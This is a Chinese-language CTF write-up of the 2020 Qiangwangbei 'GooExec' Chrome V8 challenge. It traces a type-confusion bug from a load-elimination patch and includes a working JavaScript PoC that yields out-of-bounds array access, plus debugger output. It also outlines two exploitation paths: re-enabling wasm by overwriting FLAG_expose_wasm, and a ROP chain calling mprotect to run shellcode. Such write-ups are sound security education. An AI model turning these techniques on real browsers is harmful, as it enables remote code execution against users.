强网杯2020-GooExec chrome pwn分析及两种利用思路
2020-10-28 10:47:20 Author: xz.aliyun.com(查看原文) 阅读量:340 收藏

前言

环境搭建

题目环境: ubuntu 20.04

启动命令:

./chrome --js-flags=--noexpose_wasm --no-sandbox

--js-flags=--noexpose_wasm 用于关闭wasm,意味着不能使用wasm来填写shellcode进行利用,但可以通过漏洞利用一进行绕过

--no-sandbox 关闭沙箱

题目下载地址:

https://github.com/De4dCr0w/Browser-pwn/blob/master/Vulnerability%20analyze/qwb2020-final-GOOexec%20%26%20Issue-799263/file.7z

基础知识

v8各个类型的转化
PACKED_SMI_ELEMENTS:小整数,又称 Smi。

PACKED_DOUBLE_ELEMENTS: 双精度浮点数,浮点数和不能表示为 Smi 的整数。

PACKED_ELEMENTS:常规元素,不能表示为 Smi 或双精度的值。

转化关系如下:

元素种类转换只能从一个方向进行:从特定的(例如 PACKED_SMI_ELEMENTS)到更一般的(例如 PACKED_ELEMENTS)。例如,一旦数组被标记为 PACKED_ELEMENTS,它就不能回到 PACKED_DOUBLE_ELEMENTS。

demo 代码:

const array = [1, 2, 3];
// elements kind: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements kind: PACKED_DOUBLE_ELEMENTS
array.push('x');
// elements kind: PACKED_ELEMENTS

PACKED 转化到 HOLEY类型:

demo代码:

const array = [1, 2, 3, 4.56, 'x'];
// elements kind: PACKED_ELEMENTS
array.length; // 5
array[9] = 1; // array[5] until array[8] are now holes
// elements kind: HOLEY_ELEMENTS

即将密集数组转化到稀疏数组。

漏洞分析

该题目的漏洞和Issue 799263一样,引入漏洞的补丁为:

diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
     if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
       object_maps.remove(source_map, zone());
       object_maps.insert(target_map, zone());
-      AliasStateInfo alias_info(state, object, source_map);
-      state = state->KillMaps(alias_info, zone());
+      // AliasStateInfo alias_info(state, object, source_map);
+      // state = state->KillMaps(alias_info, zone());
       state = state->SetMaps(object, object_maps, zone());
     }
   } else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
   if (state->LookupMaps(object, &object_maps)) {
     object_maps.insert(double_map, zone());
     object_maps.insert(fast_map, zone());
-    state = state->KillMaps(object, zone());
+    // state = state->KillMaps(object, zone());
     state = state->SetMaps(object, object_maps, zone());
   }
   // Kill the elements as well.

该补丁主要是将state = state->KillMaps(alias_info, zone()) 这行代码删除了,少了对alias 对象map 的消除。

state->KillMaps函数定义如下:

LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
    const AliasStateInfo& alias_info, Zone* zone) const {
  if (this->maps_) {
    AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);
    // 本质上就是调用maps_的Kill函数
    if (this->maps_ != that_maps) {
      AbstractState* that = zone->New<AbstractState>(*this);
      that->maps_ = that_maps;
      return that; // 如果不一样才返回一个新的
    }
  }
  return this;
}

LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
    Node* object, Zone* zone) const {
  AliasStateInfo alias_info(this, object);
  return KillMaps(alias_info, zone);
}
LoadElimination::AbstractMaps const* LoadElimination::AbstractMaps::Kill(
    const AliasStateInfo& alias_info, Zone* zone) const {
  for (auto pair : this->info_for_node_) {
    if (alias_info.MayAlias(pair.first)) { // if one of nodes may alias
      AbstractMaps* that = zone->New<AbstractMaps>(zone);
      for (auto pair : this->info_for_node_) {
        if (!alias_info.MayAlias(pair.first)) that->info_for_node_.insert(pair);
      } // keep all except the ones that may alias
      return that;
    }
  }
  return this;
}

MayAlias用于比较两个节点是否为同一个对象,如果是不同对象,就返回false,就会执行that->info_fornode.insert。

去除KillMaps会导致本应该没有map信息的一些node仍保留着信息,如ReduceCheckMaps函数,残留着map信息,maps.contains返回true,通过Replace错误地删除CheckMaps:

Reduction LoadElimination::ReduceCheckMaps(Node* node) {
  ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
  Node* const object = NodeProperties::GetValueInput(node, 0);
  Node* const effect = NodeProperties::GetEffectInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  ZoneHandleSet<Map> object_maps;
  // 假如object_maps的Map信息并不完整,可能导致maps.contains错误地返回true
  if (state->LookupMaps(object, &object_maps)) {
    if (maps.contains(object_maps)) return Replace(effect);
    // TODO(turbofan): Compute the intersection.
  }
  state = state->SetMaps(object, maps, zone());
  return UpdateState(node, state);
}

节点a和b可能是同一对象,在节点a发生优化,类型转化后,b节点由于没有KillMaps操作,删除了节点前的CheckMaps,导致访问b时是按照原先的类型来访问优化后的类型,形成类型混淆漏洞。

Poc代码如下:

function foo(a, b) {
    let tmp = {};
    b[0] = 0;
    a.length;
    for(let i=0; i<a.length; i++){
        a[i] = tmp;
    }
    let o = [1.1];
    b[15] = 4.063e-320;
    return o;
}
let arr_addr_of = new Array(1);
arr_addr_of[0] = 'a';

for(let i=0; i<10000; i++) {
    eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`);
    foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
    foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}

var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
var oob_array = foo(float_arr, float_arr, {});
console.log(oob_array.length);

poc 代码中a[0]=0 在运行的过程中会传入arr_addr_of <Map(HOLEY_ELEMENTS)> 和tmp_arr <Map(PACKED_DOUBLE_ELEMENTS)> ,在优化编译时,如果对象是浮点数组的话会将它转化成对象数组 <Map(HOLEY_ELEMENTS)>,导致在该代码处会生成TransitionElementsKind 结点,将对象a从浮点数组转换成对象数组。

所以漏洞触发后,数组b转化成了对象数组,而访问还是按照浮点数组类型来访问,而因为指针压缩的缘故,浮点数组转换成对象数组后,长度会缩短一半,这样计算偏移就能精准覆盖到后面数组o的长度,让数组o成为能够越界读写的数组。

触发漏洞后的调试结果:

DebugPrint: 0x8f5082af509: [JSArray]  // 数组b
 - map: 0x08f508243975 <Map(HOLEY_ELEMENTS)> [FastProperties] // 已经从浮点数组类型变成对象数组类型
 - prototype: 0x08f50820b529 <JSArray[0]>
 - elements: 0x08f5082af535 <FixedArray[23]> [HOLEY_ELEMENTS]
 - length: 23
 - properties: 0x08f5080426dd <FixedArray[0]> {
    0x8f508044649: [String] in ReadOnlySpace: #length: 0x08f508182159 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x08f5082af535 <FixedArray[23]> {
        0-22: 0x08f5082af519 <Object map = 0x8f5082422cd>
 }

pwndbg> job 0x08f5082af535
0x8f5082af535: [FixedArray]
 - map: 0x08f5080424a5 <Map>
 - length: 23
        0-22: 0x08f5082af519 <Object map = 0x8f5082422cd>

pwndbg> x/10gx 0x08f5082af535-1
0x8f5082af534:  0x0000002e080424a5  0x082af519082af519
0x8f5082af544:  0x082af519082af519  0x082af519082af519
0x8f5082af554:  0x082af519082af519  0x082af519082af519
0x8f5082af564:  0x082af519082af519  0x082af519082af519
0x8f5082af574:  0x082af519082af519  0x082af519082af519
pwndbg> 
0x8f5082af584:  0x082af519082af519  0x082af519082af519
0x8f5082af594:  0x08042a31082af519  0x9999999a00000002
0x8f5082af5a4:  0x082438fd3ff19999  0x082af599080426dd
0x8f5082af5b4:  0x0000000000002020* 0x0804232908042329 // <----b[15] 覆盖到o.length
0x8f5082af5c4:  0x08042a3108042329  0x9999999a00000002

漏洞利用

利用漏洞可以越界读写,在越界读写后面布置float类型的数组,越界修改float数组的length,此时float数组就可以进行越界读写,根据data_buf的大小查找data_buf->backing_store,用于构造任意读写原语。常规思路是利用wasm,但本题通过--js-flags=--noexpose_wasm关闭了wasm 功能,造成一定困难,下面是进行利用的两种思路:

漏洞利用一

首先通过obj.constructor->code->text_addr (Builtins_ArrayConstructor函数地址) 泄露v8 elf的基地址,然后通过IDA查找"FLAG_expose_wasm"特征字符,找到偏移,得到.data 区"FLAG_expose_wasm"变量的地址,将其修改成true,重新开启wasm功能,后面就可以利用wasm的常规思路:根据mark查找wasm_function对象的地址,根据wasm_function–>shared_info–>WasmExportedFunctionData(data)–>instance+0x68 找到rwx的区域,将shellcode写入该区域即可。

这里有以下几点需要注意:

(1)chrome运行时会起很多进程,并不是第一个进程就是运行v8,得通过查找才能确认v8 运行在哪个进程,具体查找方法可以通过逐个附加到进程中查看泄露地址的内容,能识别地址,说明该进程是。笔者环境中调试发现都在第三个进程,并且是在libv8.so中,所以后续找got表和rop偏移都需要在libv8.so查找。准确来说利用泄露的text_addr 计算出来的基址是libv8.so的基址。

查看chrome进程:

(2)chrome运行后会在后面新起几个进程中关闭FLAG_expose_wasm(置零),而之前调试的第三个进程libv8.so中查看FLAG_expose_wasm还是true。但这些影响不大,主要调试的时候突然困惑,我们需要做的就是将FLAG_expose_wasm变量地址上填1。

arb_write64(FLAG_expose_wasm, 0x1n);

开启wasm后,也只是修改该进程的FLAG_expose_wasm,另外开标签页运行exp时wasm还是关闭的(会重新起新进程,新进程中的FLAG_expose_wasm未被修改)。所以我们需要开始wasm后,在同一个标签页运行利用wasm的exp。

所以这里一共有两个exp html,一个开启wasm,一个利用wasm。

运行exp-FLAG_expose_wasm.html

同一个标签运行exp-FLAG_expose_wasm1.html

漏洞利用二

通过前面的漏洞利用我们可以libc的基址,按道理就可以找到free和system地址,将free替换成system,完成利用,但该题环境中的free函数是libcbase.so里的,释放数据时不是调用该free函数。因此这里学到一种方法,将shellcode放置在堆上的一段区域,然后通过在栈里布置rop链,用mprotect函数来修改这段区域属性为rwx,并跳转到该区域执行shellcode。

(1)获取栈地址

之前的利用可以泄露出libc的基址(通过泄露printf .got表上填充的printf函数地址,再减去libc中printf的偏移)(/usr/lib/x86_64-linux-gnu/libc-2.31.so),查找变量environ的偏移,得到environ变量的地址,上面保存着栈的地址。

(2)在栈里面布置rop链

add rsp 0x78; pop rbx; pop rbp; ret
add rsp 0x78; pop rbx; pop rbp; ret
……
ret
ret
……
ret
pop rdi; ret
shellcode_addr
pop rsi; ret
0x1000n
pop rdx; ret
0x7n
mprotect_addr
shellcode_addr

在前面布置add rsp 0x78; pop rbx; pop rbp; ret是因为栈里有些数据在运行过程中会被覆盖,要跳过这些数据才能一直ret到执行mprotect函数,最后执行shellcode。

int mprotect(void *addr, size_t len, int prot);

这里有以下问题需要注意:

(1)在栈里布置的rop,调试时在第三个进程libv8.so 中并没有看到,发现chrome也是会起几个新进程来执行js,在第一个有--no-v8-untrusted-code-mitigations 标志的进程找到栈里的rop。也可以先开启wasm ,创建wasm 对象,然后查看哪个chrome 的进程里包含rwxp 内存,以此可以确定js 运行的进程是哪个。

查看chrome进程:

运行exp.html效果图:

参考链接

https://mem2019.github.io/jekyll/update/2020/09/19/QWB-GooExec.html

https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/qwb2020-final-GOOexec_chromium

https://bugs.chromium.org/p/chromium/issues/detail?id=799263

漏洞利用一代码:

https://github.com/De4dCr0w/Browser-pwn/blob/master/Vulnerability%20analyze/qwb2020-final-GOOexec%20%26%20Issue-799263/exp-FLAG_expose_wasm.html

https://github.com/De4dCr0w/Browser-pwn/blob/master/Vulnerability%20analyze/qwb2020-final-GOOexec%20%26%20Issue-799263/exp-FLAG_expose_wasm1.html

漏洞利用二代码:

https://github.com/De4dCr0w/Browser-pwn/blob/master/Vulnerability%20analyze/qwb2020-final-GOOexec%20%26%20Issue-799263/exp.html


文章来源: http://xz.aliyun.com/t/8427
如有侵权请联系:admin#unsafe.sh